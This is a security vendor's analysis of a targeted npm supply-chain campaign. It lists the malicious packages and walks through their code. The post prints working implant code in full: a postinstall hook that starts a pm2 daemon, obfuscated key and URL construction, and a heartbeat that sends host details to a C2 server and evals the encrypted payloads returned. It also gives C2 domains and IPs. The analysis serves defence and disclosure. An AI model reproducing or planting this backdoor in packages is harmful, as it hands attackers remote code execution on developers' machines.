Sophisticated, Highly-Targeted Attacks Continue to Plague npm

Phylum Research Team ⋮⋮ 8/12/2023

⚠️

Update Aug 16, 2023: This appears to be an ongoing campaign. The actor recently published another package hreport-preview with slight modifications. Namely pulling reverse shells from https://img.murphysec-nb[.]love

Phylum excels at detecting and blocking software supply-chain attacks on developers and their organizations. In June, we were the first to identify North Korean state actors conducting campaigns against npm developers. Today, we unveil another targeted campaign with similar behaviors, again targeting npm.

Protect yourself from software supply chain attacks

Install Phylum

Background

On August 9, 2023 Phylum's automated risk detection platform flagged a suspicious publication on npm. As we were investigating this package, we received subsequent alerts on August 10 and again on August

11 about two more packages belonging to this campaign. So far we have seen the nine following packages published:

Package	Version	Publication Date
ws-paso-jssdk	1.0.0	2023-08-09 03:03:15
pingan-vue-floating	0.0.7	2023-08-10 09:44:49
srm-front-util	1.0.0	2023-08-11 04:34:55
cloud-room-video	7.0.1	2023-08-12 00:00:00
progress-player	1.2.2	2023-08-12 00:00:00
ynf-core-loader	0.1.20	2023-08-12 00:00:00
ynf-core-renderer	0.1.7	2023-08-12 00:00:00
ynf-dx-scripts	7.0.1	2023-08-12 00:00:00
ynf-dx-webpack-plugins	0.16.0	2023-08-12 00:00:00
hreport-preview	0.1.21	2023-08-16 00:00:00

Due to the sophisticated nature of the attack and the small number of affected packages, we suspect this is another highly targeted attack, likely with a social engineering aspect involved in order to get targets to install these packages. Let's turn our attention to the code.

The `package.json` File

In usual fashion, the execution chain is started from the `package.json`. Note the `postinstall` hook which directly runs the `index.js` file on package installation. Also note the `pm2` and `node-machine-id` dependencies. We'll explore their use later.

```
{
  "name": "pingan-vue-floating",
  "version": "0.0.7",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \\"Error: no test specified\\" && exit 1",
    "postinstall": "node index.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "axios": "^1.4.0",
    "node-machine-id": "^1.1.12",
    "pm2": "^5.3.0"
  }
}
```

`package.json` from the `pingan-vue-floating` package

The `index.js` File

Let's take a look at the code in `index.js`. Remember, this is immediately executed upon installation from the `postinstall` hook above.

```
const pm2 = require('pm2');

pm2.connect((err) => {
    if (err) {
        return;
    }

    const script = __dirname + '/app.js';
    const name = 'pingan-vue-floating-server-ap'
    const pm2Options = {
        script,
        name,
        exec_mode: 'cluster',
        daemon: true
    };

    pm2.start(pm2Options, (err, apps) => {
        if (err) {

            pm2.disconnect();
        } else {

            pm2.disconnect();
        }
    });
});
```

`index.js` from the `pingan-vue-floating` package

First we see the requirement of the pm2 library. According to its `README`:

> PM2 is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks.

Subsequently, the script uses `pm2` to launch a daemon process and sets the following configuration options:

- `const script = __dirname + '/app.js';`: This specifies the script's path for execution in the `pm2` process, which in this case is `app.js` located within the same directory as the current

script.

- `const name = 'pingan-vue-floating-server-ap`: This specifies the name given to the `pm2` process—here it's `'pingan-vue-floating-server-ap'`.
- `exec_mode: 'cluster'`: This instructs `pm2` to initiate the application in "cluster" mode, leading to the deployment of multiple application instances.
- `daemon: true`: This ensures the `pm2` process is run in the background as a daemon.

With the configuration set, the process is finally started and left to run as a background service.

The `app.js` file

This file spans 567 lines. The initial 457 lines primarily comprise benign utility functions appended to the `exports` object. Functions added to the `exports` object are meant for use by other scripts or modules. However, in this instance, no other scripts or modules reference these functions, suggesting a potential obfuscation effort to divert attention from the file's last approximately 100 lines. Further supporting this obfuscation theory is the package's `README`. While it claims the package's purpose is to "integrate common functions" and lists the many functions exported by `app.js`, it conspicuously omits any reference to the code at the end.

Here's the code from the last 100-ish lines:

```
const key = (37532).toString(36).toLowerCase()+
(27).toString(36).toLowerCase().split('').map(function(S){return
String.fromCharCode(S.charCodeAt()+(-39))}).join('')+
(1166).toString(36).toLowerCase()+(function(){var
v=Array.prototype.slice.call(arguments),A=v.shift();return
v.reverse().map(function(N,Q){return String.fromCharCode(N-A-10-
Q)}).join('')})(43,107,106,169,150,111,106)+
(914).toString(36).toLowerCase()+(function(){var
k=Array.prototype.slice.call(arguments),D=k.shift();return
k.reverse().map(function(r,I){return String.fromCharCode(r-D-8-
I)}).join('')})(36,167,112)
const url = (29945008).toString(36).toLowerCase()+
(10).toString(36).toLowerCase().split('').map(function(R){return
String.fromCharCode(R.charCodeAt()+(-39))}).join('')+
(1147).toString(36).toLowerCase().split('').map(function(L){return
String.fromCharCode(L.charCodeAt()+(-71))}).join('')+(function(){var
R=Array.prototype.slice.call(arguments),k=R.shift();return
R.reverse().map(function(o,v){return String.fromCharCode(o-k-3-
v)}).join('')})(25,141)+(21).toString(36).toLowerCase()+
(30).toString(36).toLowerCase().split('').map(function(g){return
String.fromCharCode(g.charCodeAt()+(-71))}).join('')+
(36100).toString(36).toLowerCase()+(function(){var
V=Array.prototype.slice.call(arguments),h=V.shift();return
V.reverse().map(function(A,M){return String.fromCharCode(A-h-48-
```

```
M)}).join('')})(7,156,171)+(19172).toString(36).toLowerCase()+
(30).toString(36).toLowerCase().split('').map(function(x){return
String.fromCharCode(x.charCodeAt()+(-71))}).join('')+
(23).toString(36).toLowerCase()+(function(){var
S=Array.prototype.slice.call(arguments),k=S.shift();return
S.reverse().map(function(I,L){return String.fromCharCode(I-k-51-
L)}).join('')})(19,187,171)
const filename = path.join(os.tmpdir(), 'node_logs.txt');
const headersCnf = {
    headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134'
    }
};

function aesEncrypt(plaintext) {
    var cip, encrypted;
    encrypted = '';
    cip = crypto.createCipheriv('aes-128-cbc', key, key);
    encrypted += cip.update(plaintext, 'binary', 'hex');
    encrypted += cip.final('hex');
    return encrypted;
}

function aesDecrypt(encrypted) {
    var _decipher, decrypted, err;
    decrypted = '';
    _decipher = crypto.createDecipheriv('aes-128-cbc', key, key);
    decrypted += _decipher.update(encrypted, 'hex', 'binary');
    decrypted += _decipher.final('binary');
    return decrypted;
}

async function sendRequest(path,data) {
    try {
        const response = await axios.post(path,data,headersCnf);
        const encodedData = response.data;
        return aesDecrypt(encodedData,key).toString()
    } catch (error) {

    }
}

function createTmpFile() {
```

```
    const getDate = getCurrentTime();
    fs.writeFile(filename, getDate, (err) => {
        if (err) {
            return;
        }
    });
}

function getCurrentTime() {
    const now = new Date();
    const year = now.getFullYear();
    const month = String(now.getMonth() + 1).padStart(2, '0');
    const day = String(now.getDate()).padStart(2, '0');
    const hours = String(now.getHours()).padStart(2, '0');
    const minutes = String(now.getMinutes()).padStart(2, '0');
    const currentTime = `${year}-${month}-${day} ${hours}:${minutes}`;
    return currentTime;
}

function checkFile() {
    try {
        const fileContent = fs.readFileSync(filename, 'utf-8');
        return { exists: true, content: fileContent };
    } catch (error) {
        return { exists: false, content: '' };
    }
}

function heartbeat(){
    const requestData = {
        hostname: os.hostname(),
        uuid:machineIdSync({original: true}),
        os:os.platform(),
    };
    sendRequest(url+'/api/index',aesEncrypt(JSON.stringify(requestData)))
    const task = {
        uuid:machineIdSync({original: true}),
    }

sendRequest(url+'/api/captcha',aesEncrypt(JSON.stringify(task))).then(result
 => {
        try{
            if (result !== undefined) {
                const data = JSON.parse(result);
```

```
                const decodedData = Buffer.from(data.code,
'base64').toString();
                eval(decodedData)
            }
        }catch (error){
        }
    });

}

function app(){
    const result = checkFile();
    if (result.exists) {
        return
    } else {
        createTmpFile();
        setInterval(heartbeat, 45000);
    }
}
app()
```

The Details

Starting from the top, `key` (as in the encryption key) is generated dynamically in an obfuscated way. Ultimately, `key` gets set to `sykKwe59_q11peDz` in all three packages we've so far identified. Then the `url` is defined. In both the `srm-front-util` and `pingan-vue-floating` packages, `url` is defined as the hard-coded IP `62[.]234[.]32[.]226`. However, in `ws-paso-jssdk`, the url is generated dynamically, similarly to the encryption key. Here's what that looks like:

```
const url = (29945008).toString(36).toLowerCase()+
(10).toString(36).toLowerCase().split('').map(function(R){return
String.fromCharCode(R.charCodeAt()+(-39))}).join('')+
(1147).toString(36).toLowerCase().split('').map(function(L){return
String.fromCharCode(L.charCodeAt()+(-71))}).join('')+(function(){var
R=Array.prototype.slice.call(arguments),k=R.shift();return
R.reverse().map(function(o,v){return String.fromCharCode(o-k-3-
v)}).join('')})(25,141)+(21).toString(36).toLowerCase()+
(30).toString(36).toLowerCase().split('').map(function(g){return
String.fromCharCode(g.charCodeAt()+(-71))}).join('')+
(36100).toString(36).toLowerCase()+(function(){var
V=Array.prototype.slice.call(arguments),h=V.shift();return
V.reverse().map(function(A,M){return String.fromCharCode(A-h-48-
M)}).join('')})(7,156,171)+(19172).toString(36).toLowerCase()+
(30).toString(36).toLowerCase().split('').map(function(x){return
```

```
String.fromCharCode(x.charCodeAt()+(-71))}).join('')+
(23).toString(36).toLowerCase()+(function(){var
S=Array.prototype.slice.call(arguments),k=S.shift();return
S.reverse().map(function(I,L){return String.fromCharCode(I-k-51-
L)}).join('')})(19,187,171)
```

This ultimately evaluates to `https://ql.rustdesk[.]net`.

💡

RustDesk is an open-source remote desktop software. We reached out to the developers of RustDesk who own the legitimate https://rustdesk.com and have confirmed that they do not own rustdesk[.]net. As a result, we believe the use of this spoof domain is meant to allay suspicions around any network traffic analysis.

Then, the `HTTP` header configuration object is built and finally a variable called `filename` is created which is a path that leads to a temp file called `node_logs.txt`.

Following this is a series of function definitions. The last line of the script contains the entrypoint to these functions where it calls `app()`. Let's take a look there:

```
function app(){
    const result = checkFile();
    if (result.exists) {
        return
    } else {
        createTmpFile();
        setInterval(heartbeat, 45000);
    }
}
```

First `checkfile()` is called:

```
function checkFile() {
    try {
        const fileContent = fs.readFileSync(filename, 'utf-8');
        return { exists: true, content: fileContent };
    } catch (error) {
        return { exists: false, content: '' };
    }
}
```

This function checks for the existence of the temp file called `node_logs.txt` and if it exists it returns its content, otherwise it returns an empty string.

Back in `app()` if `node_logs.txt` did exist, the function returns immediately. If it did not, it calls `createTempFile()`:

```
function createTmpFile() {
    const getDate = getCurrentTime();
    fs.writeFile(filename, getDate, (err) => {
        if (err) {
            return;
        }
    });
}
```

This function gets the current time as a string formatted like `${year}-${month}-${day} ${hours}:${minutes}` and simply writes it to the temp file `node_logs.txt`.

Back in `app()` after writing to the temp file it calls `setInterval(heartbeat, 45000)`. This is interesting because `setInterval` (unlike `setTimeout`) won't execute right away. This means that the first callout to the C2 server won't occur until 45 seconds after the package was installed! `setInerval` will then continue calling `heartbeat` every 45 seconds thereafter. Let's take a look at `heartbeat`.

```
function heartbeat(){
    const requestData = {
        hostname: os.hostname(),
        uuid:machineIdSync({original: true}),
        os:os.platform(),
    };
    sendRequest(url+'/api/index',aesEncrypt(JSON.stringify(requestData)))
    const task = {
        uuid:machineIdSync({original: true}),
    }

sendRequest(url+'/api/captcha',aesEncrypt(JSON.stringify(task))).then(result
 => {
        try{
            if (result !== undefined) {
                const data = JSON.parse(result);
                const decodedData = Buffer.from(data.code,
'base64').toString();
                eval(decodedData)
            }
        }catch (error){
        }
    });
}
```

This is where the 2-way communication happens. First, some host machine info is collected, such as the hostname, the os platform, and the unique machine is GUID provided by the `node-machine-id` library. This information is then AES-128-CBC encrypted (using the `key` previously defined) and passed to the `sendRequest` function along with the url (which evaluates to `https://ql.rustdesk[.]net/api/index`).

Next a `task` variable is created to hold the AES encrypted machine GUID, and another request is made to the same server on the `/api/captcha` endpoint. The malware waits for a response, and if one is received, it decrypts it, base64 decodes it and immediately `eval`s it!

It's worth taking a second to reflect on the similarity of this package's behavior to those we uncovered in the June attack where:

1. A file is written to disk as a form of token
2. Spins up a daemon that makes HTTP requests.
3. First request sends light details about the machine
4. Second endpoint sends back a payload that is decoded and executed. The June attack only used Base64-encoding/decoding. This one is using actual encryption on top of the Base64-encoding/decoding.

Recall that this ping/response/eval cycle happens every 45 seconds. It would appear that the attackers on the other side of this are monitoring machine GUIDs and selectively issuing additional payloads (in the form of encrypted Javascript) to any machines of interest. When a machine checks in, it grabs the payload and executes it. This is a *highly targeted* attack and one that likely accompanies a social engineering component to convince developers to surreptitiously install the package.

Domain Details About rustdesk[.]net

Viewing historical DNS records for this domain, we note that it was originally registered on 2022-07-31T12:01:00.0Z, over a year before the domain became active in this campaign. During this time, the domain had an A record pointing to `166.88.19.180`, which exists in the `AS18779` ASN, an ASN with historic behaviors for malware hosting. Additionally, this domain was registered with the email address `phpfox@live.com`, which also registered several more suspicious domain names around this time.

The domain changed its A record over the course of the last year, going from EGI Hosting to Amazon before finally setting up several nameservers on Cloudflare. The records in question, along with their dates of last activity, are as follows:

Type	Domain/IP	Start Date	End Date	AS Number
SOA	http://ns1.dyna-ns.net/	2023-01-27 02:23	2023-05-27 03:29	AS13335 cloudflare
NS	http://ns1.dyna-ns.net/	2023-01-27 02:23	2023-05-27 03:29	AS13335 cloudflare
NS	http://ns2.dyna-ns.net/	2023-01-27 02:23	2023-05-27 03:29	AS13335 cloudflare
A	52.8.134.32	2022-11-28 01:51	2023-05-27 03:29	AS16509 http://amazon.com/ inc

Type	Domain/IP	Start Date	End Date	AS Number
A	54.67.42.145	2022-11-28 01:51	2023-05-27 03:29	AS16509 http://amazon.com/ inc
A	54.67.93.101	2022-11-28 01:51	2023-05-27 03:29	AS16509 http://amazon.com/ inc
SOA	http://ns1.dynadot.com/	2022-08-03 06:34	2022-11-28 01:51	AS13335 cloudflare
NS	http://ns1.dynadot.com/	2022-08-03 06:34	2022-11-28 01:51	AS13335 cloudflare
NS	http://ns2.dynadot.com/	2022-08-03 06:34	2022-11-28 01:51	AS13335 cloudflare
A	68.68.98.160	2022-08-03 06:34	2022-08-03 06:34	AS18779 egihosting

Conclusion

We are witnessing another sophisticated supply chain attack targeting npm developers. Upon installation, the packages initiate encrypted two-way communication with a remote C2 server, transmitting machine information and receiving—and subsequently executing—encrypted JavaScript payloads. The tactics, techniques, and procedures bear a striking similarity to the recent June attack. It also appears to be highly targeted, with a limited number of affected packages. We will keep this post updated as we continue our investigation.

Phylum has demonstrated a striking and unique ability to detect and mitigate nation-state actors. If you want to bring this level of protection to your organization’s—or even your personal project’s—software supply chain security, don't hesitate to contact us to see how we can help.